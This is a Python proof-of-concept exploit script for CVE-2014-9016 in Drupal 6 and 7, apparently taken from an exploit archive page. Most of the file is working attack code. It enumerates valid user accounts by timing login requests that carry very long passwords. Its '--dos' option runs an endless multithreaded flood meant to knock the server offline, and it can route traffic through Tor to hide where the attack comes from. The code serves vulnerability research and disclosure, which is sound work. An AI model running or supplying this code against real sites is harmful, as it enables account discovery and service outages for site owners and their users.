4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Drupal_TA.py PY
#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import urllib
import httplib
import time
import socks
import socket
import argparse
import sys
from threading import *
try:

	import requests

except ImportError:

	print "It's necesary to install request Python module: sudo pip install requests."
	exit(1)

__license__="""

A PoC Python script to exploit Drupal 6.* phpass module installation 7.* User Enumeration Time-Based Attack:

Authors:
	c0r3dump | http://www.devconsole.info 
	Javier Nieto | http://www.behindthefirewalls.com/	

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.

The authors disclaims all responsibility in the use of this tool.

"""


def dpCheckversion(url):
	
	headers = {
		"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5"
	}
	r = requests.get(url+'/CHANGELOG.txt',headers=headers,verify=False)
	print "[+] Trying to detect the Drupal version in CHANGELOG.txt ..."

	if r.status_code == 404:
		print "[-] Unable to detect Drupal version. No CHANGELOG.txt file found."
		return
	
	result = r.text
	try:
		druf = result.find("Drupal")
		version = result[druf+7:12]
		mversion = int(result[druf+7:9])

	except ValueError,e:

		print "[-] Unable to detect Drupal version."
		print e
		
	print "[+] Version Drupal detected in CHANGELOG.txt ==> Drupal " + version
	print

def proxyConn(hostp,portp):

	socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, hostp, int(portp))
	socket.socket = socks.socksocket

def url_ok(url):


	headers = {
		"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5"
	}
	try:
		rok = requests.get(url,headers=headers,verify=False,timeout=30)
		print "[+] The server " + "it's responding the status code: " + str(rok.status_code) 
		print 

	except :

		print "Unable to connect to " + str(url)
		exit(1)



def DosDP(url,user,chars):

        urlog=str(url)+'/?q=user'
	
	headers = [
		("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5")]

        password = "A"*chars
        data = [
                ("name",user),
                ("pass",password),
                ("form_id","user_login"),
                ("op","Log in")]

	
	timeStart = int(time.time())
	
	req = urllib2.Request(urlog, urllib.urlencode(dict(data)), dict(headers))

	try:

		response = urllib2.urlopen(req)

	except urllib2.URLError:
		
		pass


	except urllib2.HTTPError,e:

		print "[-]Error to open " + str(urlog) 
		print e.code

def ScanDrupal(url,user,chars):

        urlog=str(url)+'/?q=user'
        headers = [
                ("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5")]

        password = "A"*chars

        data = [
                ("name",user),
                ("pass",password),
                ("form_id","user_login"),
                ("op","Log in")]
        print "[+] Testing user " + str(user) + " @ " + urlog + " ..."

        timeStart = int(time.time())

        req = urllib2.Request(urlog, urllib.urlencode(dict(data)), dict(headers))
        try:

       		response = urllib2.urlopen(req)

        except:

		pass

       	timeDone = int(time.time())

       	delay = timeDone-timeStart
       	defTime = 10

       	if delay > defTime:
               	print "[+] The user " + str(user) + " exist. " + "Response time " + str(delay) + " second(s)."
               	return user

       	else:
               	print "[-] The user " + str(user) + " don't exist. " + "Response time " + str(delay) + " second(s)."



def main():
	parse = argparse.ArgumentParser(description='Python script for Drupal User Enumeration Time-Based Attack CVE-2014-9016 (PoC)')
	parse.add_argument('-u','--url', action='store', dest='url', help='URL to scan (http://127.0.0.1)')
	parse.add_argument('-U','--user', action='store', dest='user', help='User to scan')
	parse.add_argument('-f','--file', action='store', dest='ufile', help='File with user names')
	parse.add_argument('-n','--num', action='store', dest='num',default='1000000', help='Number of characters to use (default 1000000)')
	parse.add_argument('-d','--dos', action='store_true', dest='dos',help='Try to stablish a DOS condition')
	parse.add_argument('-t','--threads', action='store', dest='td',default='100', help='Number of connections attemps (every 10 seconds) for the DOS attack (default 100)')
	parse.add_argument('-c','--check', action='store_true', dest='check',help='Only ceck the Drupal version.')
	parse.add_argument('--proxy', action='store', dest='proxy', help='SOCKS 5 proxy, tipically TOR use: 127.0.0.1:9050')

	arg=parse.parse_args()
	users=[]
	userfdos=[]
	numuser = 0
	
	if arg.url == None:
 		parse.print_help()
 		exit(1)
	
	if arg.proxy != None:
		hostp = arg.proxy.split(":")[0]
		portp = arg.proxy.split(":")[1]
		proxyConn(hostp,portp)

	url = arg.url
	url_ok(url)

	if arg.check == True:
		dpCheckversion(url)
		exit(0)
	
	if arg.user == None and arg.ufile == None:
		parse.print_help()
		exit(1)
	if arg.user != None:
		users.append(arg.user)
		numuser = numuser + 1
	
	if arg.ufile != None:
		try:
			userFile = open (arg.ufile,'r')
			
			for line in userFile.readlines():
				line = line.split("\n")
				users.append(line[0])
				numuser = numuser + 1
		except IOError:
			print "The file %s doesn't exist." % (arg.ufile)
			print "Nothing to do."
			exit(1)
	
	chars = int(arg.num)
	
	print "Starting Drupal 6.* (with phpass module) 7.* User Enumeration Time-Based Attack Python CVE-2014-9016 script (PoC) for " + url + " at " + time.strftime("%x") + " " + time.strftime("%X") + " - for legal purposes only."
	print 
	print "[+] Searching for " + str(numuser) + " valid users, using " + arg.num + " characters."
	

	for user in users:
		usr=ScanDrupal(url,user,chars)
		if usr != None:
			userfdos.append(usr)
		else:
			userfdos.append(None)
	
 	ufd = None	
	for u in userfdos:
		if u != None:
			ufd = u

	if arg.dos == True:

		if ufd != None:
			threads = int(arg.td)
			user = ufd
		 	attp = 0
			print
			while 1:
				print "[+] Trying DOS with user " + str(user) + " using " + str(threads) + " connections attemps." 
				for att in range(threads):
					t = Thread(target=DosDP, args=(url, user, chars))
					try:
						t.start()
						attp = attp + 1
					except:
	      					pass 
				print "[+] After " + str(attp) + " connections attemps waiting 10 seconds in order to check the status of the server ..,"
				time.sleep(5)
				print "[+] Checking the server respond ...."
				url_ok(url)
				
		else:
			print "[-] No valid user found, impossible to make the DOS attack."
			exit(1)


if __name__=='__main__':
	main()